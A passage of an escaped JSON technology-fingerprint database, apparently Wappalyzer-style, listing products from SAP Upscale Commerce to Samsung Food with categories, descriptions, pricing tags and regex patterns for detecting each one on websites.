Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"SAP Upscale Commerce is a SaaS solution for small-to-medium organizations selling directly to consumers.\",\n    \"dom\": {\n      \"[upscale-version]\": {\n        \"attributes\": {\n          \"upscale-version\": \"^([\\\\d.]+)\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"SAP.svg\",\n    \"saas\": true,\n    \"website\": \"https://www.sapstore.com/solutions/47000/SAP-Upscale-Commerce\"\n  },\n  \"SDL Tridion\": {\n    \"cats\": [\n      1\n    ],\n    \"html\": [\n      \"<img[^>]+_tcm\\\\d{2,3}-\\\\d{6}\\\\.\"\n    ],\n    \"icon\": \"SDL Tridion.svg\",\n    \"website\": \"https://www.sdl.com/products/tridion\"\n  },\n  \"SEMrush\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"SEMrush is an all-in-one tool suite for improving online visibility and discovering marketing insights.\",\n    \"icon\": \"SEMrush.svg\",\n    \"js\": {\n      \"SEMRUSH\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"www\\\\.semrush\\\\.com\"\n    ],\n    \"website\": \"https://www.semrush.com\"\n  },\n  \"SEOAnt\": {\n    \"cats\": [\n      54\n    ],\n    \"description\": \"SEOAnt is a SEO customization service that provides professional improvement suggestions, aimed at enhancing Google rankings and increasing conversions.\",\n    \"icon\": \"SEOAnt.svg\",\n    \"js\": {\n      \"BlackUrlArray_SEOAnt\": \"\",\n      \"SEOAnt_toConsumableArray\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.seoant.com\"\n  },\n  \"SEOPress\": {\n    \"cats\": [\n      54\n    ],\n    \"description\": \"SEOPress is a WordPress plugin for SEO.\",\n    \"icon\": \"SEOPress.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/themes/seopress/\"\n    ],\n    \"website\": \"https://www.seopress.org\"\n  },\n  \"SEOmatic\": {\n    \"cats\": [\n      54\n    ],\n    \"description\": \"SEOmatic facilitates modern SEO best practices & implementation for Craft CMS 3.\",\n    \"icon\": \"SEOmatic.svg\",\n    \"implies\": [\n      \"Craft CMS\"\n    ],\n    \"meta\": {\n      \"generator\": \"^SEOmatic$\"\n    },\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://plugins.craftcms.com/seomatic\"\n  },\n  \"SEOmator\": {\n    \"cats\": [\n      54\n    ],\n    \"description\": \"SEOmator is an AI-powered SEO and SEM platform designed for website optimisation.\",\n    \"icon\": \"SEOmator.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//seomator\\\\.com/\"\n    ],\n    \"website\": \"https://seomator.com\"\n  },\n  \"SEUR\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"SEUR is a Spanish shipments and express transport company.\",\n    \"icon\": \"DPD.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bSEUR\\\\b\"\n    ],\n    \"website\": \"https://www.seur.com\"\n  },\n  \"SHE Media\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"SHE Media is an ad network, which means that they basically serve as a coordinator between advertisers and publishers (bloggers).\",\n    \"icon\": \"SHE Media.png\",\n    \"js\": {\n      \"SheMedia\": \"\",\n      \"blogherads.adq\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.shemedia.com\"\n  },\n  \"SIDEARM Sports\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"SIDEARM Sports provides the software and technology that powers the websites, livestats, and video streaming for athletic programs North America.\",\n    \"icon\": \"SIDEARM Sports.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"js\": {\n      \"sidearmComponents\": \"\",\n      \"sidearmsports\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://sidearmsports.com/websites\"\n  },\n  \"SIMsite\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"SIMsite.png\",\n    \"meta\": {\n      \"SIM.medium\": \"\"\n    },\n    \"scriptSrc\": [\n      \"/sim(?:site|core)/js\"\n    ],\n    \"website\": \"https://simgroep.nl/internet/portfolio-contentbeheer_41623/\"\n  },\n  \"SNO Flex\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"SNO Flex is a WordPress theme developed by SNO Sites. SNO Sites is a company that specialises in providing website solutions for schools and educational institutions.\",\n    \"icon\": \"SNO.svg\",\n    \"js\": {\n      \"sno_infographics_ajax_object\": \"\"\n    },\n    \"pricing\": [\n      \"onetime\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://snosites.com\"\n  },\n  \"SOBI 2\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"SOBI2 is an older version of the SOBI (Simple Open Business Index) directory extension for Joomla. It was used for creating and managing directory listings on Joomla-powered websites, allowing users to list businesses, services, or other types of entries.\",\n    \"html\": [\n      \"(?:<!-- start of Sigsiu Online Business Index|<div[^>]* class=\\\"sobi2)\"\n    ],\n    \"icon\": \"Sobi.svg\",\n    \"implies\": [\n      \"Joomla\"\n    ],\n    \"js\": {\n      \"sobi2Cats\": \"\"\n    },\n    \"website\": \"https://www.sigsiu.net/sobi2.html\"\n  },\n  \"SOPlanning\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"SOPlanning is an online project management software that enhances team visibility and facilitates task coordination through a centralized platform.\",\n    \"icon\": \"SOPlanning.svg\",\n    \"meta\": {\n      \"email\": \"^support@soplanning\\\\.org$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"website\": \"https://www.soplanning.org/en/\"\n  },\n  \"SOTA CRM\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"SOTA CRM is a software solution designed to help businesses manage customer relationships and related data.\",\n    \"icon\": \"SOTACRM.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"app\\\\.sotacrm\\\\.com\"\n    ],\n    \"website\": \"https://sotacrm.com\"\n  },\n  \"SPDY\": {\n    \"cats\": [\n      19\n    ],\n    \"excludes\": [\n      \"HTTP/2\"\n    ],\n    \"headers\": {\n      \"X-Firefox-Spdy\": \"\\\\d\\\\.\\\\d\"\n    },\n    \"icon\": \"SPDY.png\",\n    \"website\": \"https://chromium.org/spdy\"\n  },\n  \"SPIP\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:spip:spip:*:*:*:*:*:*:*:*\",\n    \"description\": \"SPIP is a content management system written in PHP that uses one or more databases like SQL, SQLite or PostgreSQL.\",\n    \"dom\": [\n      \"div.formulaire_spip\"\n    ],\n    \"headers\": {\n      \"Composed-By\": \"SPIP ([\\\\d.]+) @\\\\;version:\\\\1\",\n      \"X-Spip-Cache\": \"\"\n    },\n    \"icon\": \"spip.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"(?:^|\\\\s)SPIP(?:\\\\s([\\\\d.]+(?:\\\\s\\\\[\\\\d+\\\\])?))?\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.spip.net\"\n  },\n  \"SPNEGO\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"SPNEGO is an authentication method commonly used in Windows servers to allow NTLM or Kerberos authentication.\",\n    \"headers\": {\n      \"WWW-Authenticate\": \"^Negotiate\"\n    },\n    \"website\": \"https://tools.ietf.org/html/rfc4559\"\n  },\n  \"SPREAD\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"SPREAD is a platform offering tailored marketing campaigns designed to enhance ecommerce engagement and performance.\",\n    \"icon\": \"SPREAD.svg\",\n    \"js\": {\n      \"loadSpreadTracker\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.spreadfamily.fr\"\n  },\n  \"SQL Buddy\": {\n    \"cats\": [\n      3\n    ],\n    \"description\": \"SQL Buddy is an open-source web-based application written in PHP to handle the administration of MySQL and SQLite with the use of a Web browser.\",\n    \"html\": [\n      \"(?:<title>SQL Buddy</title>|<[^>]+onclick=\\\"sideMainClick\\\\(\\\"home\\\\.php)\"\n    ],\n    \"icon\": \"SQL Buddy.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"website\": \"https://www.sqlbuddy.com\"\n  },\n  \"SQLite\": {\n    \"cats\": [\n      34\n    ],\n    \"cpe\": \"cpe:2.3:a:sqlite:sqlite:*:*:*:*:*:*:*:*\",\n    \"icon\": \"SQLite.png\",\n    \"website\": \"https://www.sqlite.org\"\n  },\n  \"STN Video\": {\n    \"cats\": [\n      36,\n      14\n    ],\n    \"description\": \"STN Video is a online video platform that solves digital video for publishers, content creators, and advertisers.\",\n    \"icon\": \"STN Video.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"embed\\\\.sendtonews\\\\.com/\"\n    ],\n    \"scripts\": [\n      \"embed\\\\.sendtonews\\\\.com/\"\n    ],\n    \"website\": \"https://www.stnvideo.com\"\n  },\n  \"STUDIO\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"STUDIO is a Japan-based company and SaaS application for designing and hosting websites. The service includes a visual editor with built-in CMS and analytics.\",\n    \"dom\": [\n      \".StudioCanvas, .publish-studio-style\"\n    ],\n    \"icon\": \"STUDIO.svg\",\n    \"implies\": [\n      \"Vue.js\",\n      \"Nuxt.js\",\n      \"Firebase\",\n      \"Google Cloud\",\n      \"Google Tag Manager\"\n    ],\n    \"meta\": {\n      \"generator\": \"^STUDIO$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://studio.design\"\n  },\n  \"SUSE\": {\n    \"cats\": [\n      28\n    ],\n    \"description\": \"SUSE is a Linux-based server operating system.\",\n    \"headers\": {\n      \"Server\": \"SUSE(?:/?\\\\s?-?([\\\\d.]+))?\\\\;version:\\\\1\",\n      \"X-Powered-By\": \"SUSE(?:/?\\\\s?-?([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"SUSE.svg\",\n    \"website\": \"https://suse.com\"\n  },\n  \"SVG Support\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"SVG Support is a WordPress plugin which allows you to safely upload SVG files to your media library and use them like any other image.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/svg-support/']\"\n    ],\n    \"icon\": \"SVG Support.png\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/svg-support/\"\n    ],\n    \"website\": \"https://github.com/wp-plugins/svg-support\"\n  },\n  \"SWC\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"SWC is an extensible Rust-based platform for the next generation of fast developer tools.\",\n    \"icon\": \"swc.svg\",\n    \"oss\": true,\n    \"website\": \"https://swc.rs\"\n  },\n  \"SWFObject\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"SWFObject is an open-source JavaScript library used to embed Adobe Flash content onto web pages.\",\n    \"icon\": \"SWFObject.svg\",\n    \"js\": {\n      \"SWFObject\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"swfobject.*\\\\.js\"\n    ],\n    \"website\": \"https://github.com/swfobject/swfobject\"\n  },\n  \"SaaSquatch\": {\n    \"cats\": [\n      94,\n      84\n    ],\n    \"description\": \"SaaSquatch is a cloud-based loyalty, referral and rewards marketing platform.\",\n    \"icon\": \"SaaSquatch.svg\",\n    \"js\": {\n      \"SAASQUATCH_TENANT_ALIAS\": \"\",\n      \"squatch.CtaWidget\": \"\",\n      \"squatchQuery\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:\\\\.cloudfront\\\\.net/assets/javascripts/(?:v2/)?|/sas)squatch\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://www.saasquatch.com\"\n  },\n  \"Saba.Host\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Saba.Host is a total web-hosting solutions. It provides shared hosting, WordPress hosting, dedicated server, virtual private server (VPS), SSL and more.\",\n    \"dns\": {\n      \"SOA\": \"\\\\.saba\\\\.host\"\n    },\n    \"icon\": \"Saba.Host.svg\",\n    \"pricing\": [\n      \"recurring\"\n    ],\n    \"website\": \"https://saba.host\"\n  },\n  \"SabaVision\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"SabaVision, one of the core products of SabaIdea, is Iran's largest online advertising agency.\",\n    \"icon\": \"SabaVision.svg\",\n    \"js\": {\n      \"SabavisionElement\": \"\",\n      \"__SABAVISION_GET_ADD_TIMEOUT\": \"\",\n      \"sabaVisionWebsiteID\": \"\",\n      \"sabaVisionWebsitePage\": \"\"\n    },\n    \"meta\": {\n      \"sabavision_zone\": \"\"\n    },\n    \"website\": \"https://www.sabavision.com\"\n  },\n  \"SabeeApp\": {\n    \"cats\": [\n      53,\n      72\n    ],\n    \"description\": \"SabeeApp is a property management system for hoteliers, managing reservations, controlling online distribution platforms, handling payments, and engaging with guests.\",\n    \"icon\": \"SabeeApp.svg\",\n    \"js\": {\n      \"webhome\": \"ibe\\\\.sabeeapp\\\\.com\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"ibe\\\\.sabeeapp\\\\.com/v(\\\\d+)/scripts\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.sabeeapp.com\"\n  },\n  \"Saber\": {\n    \"cats\": [\n      57\n    ],\n    \"description\": \"Saber is a framework for building static websites.\",\n    \"html\": [\n      \"<div [^>]*id=\\\"_saber\\\"\"\n    ],\n    \"icon\": \"Saber.svg\",\n    \"implies\": [\n      \"Vue.js\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Saber v([\\\\d.]+)$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://saber.land/\"\n  },\n  \"SafeBuy\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"SafeBuy is a platform that reviews consumer feedback, verifies site links, ensures data privacy, and checks legal compliance to generate a reliable Universal Rating for customers.\",\n    \"dom\": [\n      \"a[href*='www.safebuy.org.uk'] > img[src*='.safebuy.org.uk']\"\n    ],\n    \"icon\": \"SafeBuy.svg\",\n    \"saas\": true,\n    \"website\": \"https://www.safebuy.org.uk\"\n  },\n  \"Sails.js\": {\n    \"cats\": [\n      18\n    ],\n    \"cookies\": {\n      \"sails.sid\": \"\"\n    },\n    \"headers\": {\n      \"X-Powered-By\": \"^Sails(?:$|[^a-z0-9])\"\n    },\n    \"icon\": \"Sails.js.svg\",\n    \"implies\": [\n      \"Express\"\n    ],\n    \"website\": \"https://sailsjs.org\"\n  },\n  \"Sailthru\": {\n    \"cats\": [\n      32,\n      75,\n      76\n    ],\n    \"cookies\": {\n      \"sailthru_pageviews\": \"\"\n    },\n    \"description\": \"Sailthru is a marketing automation software and multi-channel personalisation tool that serves ecommerce and media brands.\",\n    \"dom\": {\n      \"link[href*='ak.sail-horizon.com'],link[href*='api.sail-personalize.com'],link[href*='api.sail-track.com']\": {\n        \"attributes\": {\n          \"href\": \"\"\n        }\n      }\n    },\n    \"icon\": \"Sailthru.svg\",\n    \"js\": {\n      \"Sailthru\": \"\",\n      \"sailthruIdentify\": \"\",\n      \"sailthruNewsletterRegistration\": \"\",\n      \"trackSailthruUser\": \"\"\n    },\n    \"meta\": {\n      \"sailthru.image.full\": \"\",\n      \"sailthru.title\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"ak\\\\.sail-horizon\\\\.com\"\n    ],\n    \"website\": \"https://www.sailthru.com\"\n  },\n  \"Sakai\": {\n    \"cats\": [\n      21\n    ],\n    \"cookies\": {\n      \"SAKAIID\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:sakailms:sakai:*:*:*:*:*:*:*:*\",\n    \"description\": \"Sakai is a robust open-source learning management system created by higher ed for higher ed.\",\n    \"icon\": \"Sakai.svg\",\n    \"js\": {\n      \"sakai\": \"\",\n      \"sakaiPortalWindow\": \"\",\n      \"sakaiTutorialSkin\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.sakailms.org\"\n  },\n  \"Sakura Internet\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Sakura Internet is a web hosting provider that has been operating for almost 30 years.\",\n    \"dns\": {\n      \"NS\": \"\\\\.gslbN\\\\.sakura\\\\.ne\\\\.jp\",\n      \"SOA\": \"tech\\\\.sakura\\\\.ad\\\\.jp\"\n    },\n    \"icon\": \"Sakura Internet.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"website\": \"https://www.sakura.ad.jp\"\n  },\n  \"SaleCycle\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"SaleCycle is a UK based global behavioral marketing firm.\",\n    \"dom\": [\n      \"iframe[src*='.salecycle.com'][target='_self']\"\n    ],\n    \"icon\": \"salecycle.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.salecycle.com\"\n  },\n  \"Saleor\": {\n    \"cats\": [\n      6\n    ],\n    \"cpe\": \"cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:*\",\n    \"description\": \"Saleor is a headless, GraphQL ecommerce platform.\",\n    \"dom\": {\n      \"img[src*='saleor'], img[srcset*='saleor'], link[imagesrcset*='saleor']\": {\n        \"attributes\": {\n          \"imagesrcset\": \"/_next.+-saleor-\",\n          \"src\": \"saleor\\\\.imgix\\\\.net\",\n          \"srcset\": \"/_next.+-saleor-\"\n        }\n      }\n    },\n    \"icon\": \"Saleor.svg\",\n    \"implies\": [\n      \"GraphQL\"\n    ],\n    \"js\": {\n      \"__NEXT_DATA__.runtimeConfig.SALEOR\": \"\",\n      \"___NEXT_DATA__.runtimeConfig.SALEOR\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://saleor.io\"\n  },\n  \"SalesCandy\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"SalesCandy is a sales performance improvement solution designed to optimize sales team efficiency through automated lead distribution, real-time tracking, and actionable insights.\",\n    \"icon\": \"SalesCandy.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.salescandy\\\\.com/\"\n    ],\n    \"scripts\": [\n      \"\\\\.salescandy\\\\.com/\"\n    ],\n    \"website\": \"https://www.salescandy.com\"\n  },\n  \"SalesFire\": {\n    \"cats\": [\n      76,\n      29\n    ],\n    \"description\": \"SalesFire is a SaaS company specialising in conversion rate optimisation, intelligent personalisation and on-site search solutions.\",\n    \"icon\": \"SalesFire.svg\",\n    \"js\": {\n      \"loadSalesfire\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.salesfire\\\\.co\\\\.uk/\"\n    ],\n    \"website\": \"https://www.salesfire.co.uk\"\n  },\n  \"SalesReps.io\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"SalesReps.io is a sales representative performance and commission reporting software provider.\",\n    \"icon\": \"SalesReps.io.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.salesreps\\\\.io/\"\n    ],\n    \"website\": \"https://salesreps.io\"\n  },\n  \"SalesViewer\": {\n    \"cats\": [\n      10,\n      32\n    ],\n    \"description\": \"SalesViewer is a tool that identifies anonymous website visitors.\",\n    \"icon\": \"SalesViewer.svg\",\n    \"js\": {\n      \"SV_JSON\": \"\",\n      \"SV_XHR\": \"\",\n      \"SV_XHR_0\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.salesviewer.com\"\n  },\n  \"Salesfloor\": {\n    \"cats\": [\n      5,\n      6\n    ],\n    \"description\": \"Salesfloor is a mobile clienteling and virtual selling platform designed for store associates to connect with customers-beyond the store and a mpos platform for frictionless in-store experiences.\",\n    \"dom\": [\n      \"iframe[src*='.salesfloor.net'], div[data-siterefer='salesfloor']\"\n    ],\n    \"icon\": \"salesfloor.svg\",\n    \"js\": {\n      \"NMConfig.SALESFLOOR_ENV\": \"\",\n      \"salesFloorHost\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.salesfloor\\\\.net/\"\n    ],\n    \"website\": \"https://salesfloor.net\"\n  },\n  \"Salesforce\": {\n    \"cats\": [\n      53\n    ],\n    \"cookies\": {\n      \"com.salesforce\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:salesforce:*:*:*:*:*:*:*:*:*\",\n    \"description\": \"Salesforce is a cloud computing service software (SaaS) that specializes in customer relationship management (CRM).\",\n    \"dns\": {\n      \"TXT\": [\n        \"salesforce\\\\.com\"\n      ]\n    },\n    \"html\": [\n      \"<[^>]+=\\\"brandQuaternaryFgrs\\\"\"\n    ],\n    \"icon\": \"Salesforce.svg\",\n    \"js\": {\n      \"SFDCApp\": \"\",\n      \"SFDCCmp\": \"\",\n      \"SFDCPage\": \"\",\n      \"SFDCSessionVars\": \"\",\n      \"pardot\": \"\",\n      \"piHostname\": \"pi.pardot\"\n    },\n    \"pricing\": [\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.salesforce.com\"\n  },\n  \"Salesforce Audience Studio\": {\n    \"cats\": [\n      86,\n      97\n    ],\n    \"description\": \"Salesforce Audience Studio is a customer data marketplace that only other platform users can access.\",\n    \"dom\": [\n      \"link[href*='.krxd.net']\"\n    ],\n    \"icon\": \"Salesforce.svg\",\n    \"js\": {\n      \"Krux\": \"\",\n      \"updateKruxCookie\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.krxd\\\\.net/\"\n    ],\n    \"website\": \"https://www.salesforce.com/products/marketing-cloud/data-management\"\n  },\n  \"Salesforce Commerce Cloud\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"dw_dnt\": \"\",\n      \"dwsid\": \"\"\n    },\n    \"description\": \"Salesforce Commerce Cloud is a cloud-based software-as-a-service (SaaS) ecommerce solution.\",\n    \"headers\": {\n      \"Server\": \"Demandware eCommerce Server\"\n    },\n    \"icon\": \"Salesforce.svg\",\n    \"implies\": [\n      \"Salesforce\"\n    ],\n    \"js\": {\n      \"dwAnalytics\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/demandware\\\\.static/\"\n    ],\n    \"website\": \"https://demandware.com\"\n  },\n  \"Salesforce Desk\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Salesforce Desk(Desk.com) is software as a service (SaaS) tool on the help desk.\",\n    \"dom\": [\n      \"link[href*='/s/sfsites/']\"\n    ],\n    \"icon\": \"Salesforce.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"^/s/sfsites/auraFW/\"\n    ],\n    \"website\": \"https://www.salesforce.com/solutions/small-business-solutions/help-desk-software/\"\n  },\n  \"Salesforce Interaction Studio\": {\n    \"cats\": [\n      76,\n      86\n    ],\n    \"description\": \"Salesforce Interaction Studio (formerly Evergage) is a cloud-based software that allows users to collect, analyze, and respond to user behavior on their websites and web applications in real-time.\",\n    \"icon\": \"Salesforce.svg\",\n    \"js\": {\n      \"Evergage\": \"\",\n      \"evergageHideSections\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.evgnet\\\\.com\"\n    ],\n    \"website\": \"https://www.salesforce.com/products/marketing-cloud/customer-interaction\"\n  },\n  \"Salesforce Marketing Cloud Account Engagement\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Salesforce Marketing Cloud Account Engagement (formerly known as Pardot) is an application specifically designed for B2B marketing automation.\",\n    \"dns\": {\n      \"TXT\": [\n        \"pardot\"\n      ]\n    },\n    \"dom\": [\n      \"iframe[scr*='.pardot.com/']\"\n    ],\n    \"headers\": {\n      \"X-Pardot-LB\": \"\",\n      \"X-Pardot-Route\": \"\",\n      \"X-Pardot-Rsp\": \"\"\n    },\n    \"icon\": \"Salesforce.svg\",\n    \"js\": {\n      \"piAId\": \"\",\n      \"piCId\": \"\",\n      \"piHostname\": \"\",\n      \"piProtocol\": \"\",\n      \"piTracker\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.salesforce.com/products/marketing-cloud/marketing-automation\"\n  },\n  \"Salesforce Marketing Cloud Email Studio\": {\n    \"cats\": [\n      75\n    ],\n    \"description\": \"Salesforce Marketing Cloud Email Studio is a powerful tool that allows you to build and send personalised emails.\",\n    \"dom\": [\n      \"a[href*='.exacttarget.com/'][target='_blank']\"\n    ],\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.exacttarget\\\\.com/\"\n    },\n    \"icon\": \"Salesforce.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.salesforce.com/products/marketing-cloud/email-marketing\"\n  },\n  \"Salesforce Service Cloud\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Salesforce Service Cloud is a customer relationship management (CRM) platform for customer service and support.\",\n    \"icon\": \"Salesforce.svg\",\n    \"implies\": [\n      \"Salesforce\"\n    ],\n    \"js\": {\n      \"embedded_svc\": \"\"\n    },\n    \"pricing\": [\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"service\\\\.force\\\\.com\"\n    ],\n    \"website\": \"https://www.salesforce.com/au/products/service-cloud/\"\n  },\n  \"Salesloft\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Salesloft is a cloud-based sales engagement platform.\",\n    \"icon\": \"Salesloft.svg\",\n    \"js\": {\n      \"SLScoutObject\": \"\",\n      \"slscout\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://salesloft.com\"\n  },\n  \"Salesnauts\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Salesnauts is a fashion ecommerce platform.\",\n    \"dom\": [\n      \"link[href*='//image.salesnauts.com/']\"\n    ],\n    \"icon\": \"Salesnauts.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://salesnauts.com\"\n  },\n  \"Salla\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Salla is an ecommerce platform specifically tailored to serve businesses and customers in Saudi Arabia.\",\n    \"headers\": {\n      \"X-Frame-Options\": \"\\\\.salla\\\\.sa\",\n      \"x-powered-by\": \"^Salla$\"\n    },\n    \"icon\": \"Salla.svg\",\n    \"js\": {\n      \"Salla.shop\": \"\",\n      \"SallaApplePay\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://salla.sa\"\n  },\n  \"Salonist\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Salonist is a salon management software.\",\n    \"dom\": [\n      \"iframe[src*='.salonist.io/'], a[href*='.salonist.io/'][target='_blank']\"\n    ],\n    \"icon\": \"Salonist.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://salonist.io\"\n  },\n  \"Salsify\": {\n    \"cats\": [\n      95\n    ],\n    \"description\": \"Salsify is a product experience management platform which connects digital asset management, content syndication, and digital catalog capabilities.\",\n    \"dom\": [\n      \"a[href*='.salsify.com/'][target='_blank'], img[data-src*='images.salsify.com/'], link[href*='.salsify.com']\"\n    ],\n    \"icon\": \"Salsify.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.salsify.com\"\n  },\n  \"Saly\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Saly is an enterprise-class B2B ecommerce platform. Dedicated to solving problems faced by manufacturers, wholesalers and distributors.\",\n    \"icon\": \"Saly.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"Svelte\"\n    ],\n    \"meta\": {\n      \"application-name\": \"^Saly\\\\sB2B\\\\sPlatform$\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://saly.pl\"\n  },\n  \"Samsung Food\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Samsung Food is an all-in-one app for recipe saving, meal planning, grocery shopping, and recipe sharing.\",\n    \"icon\": 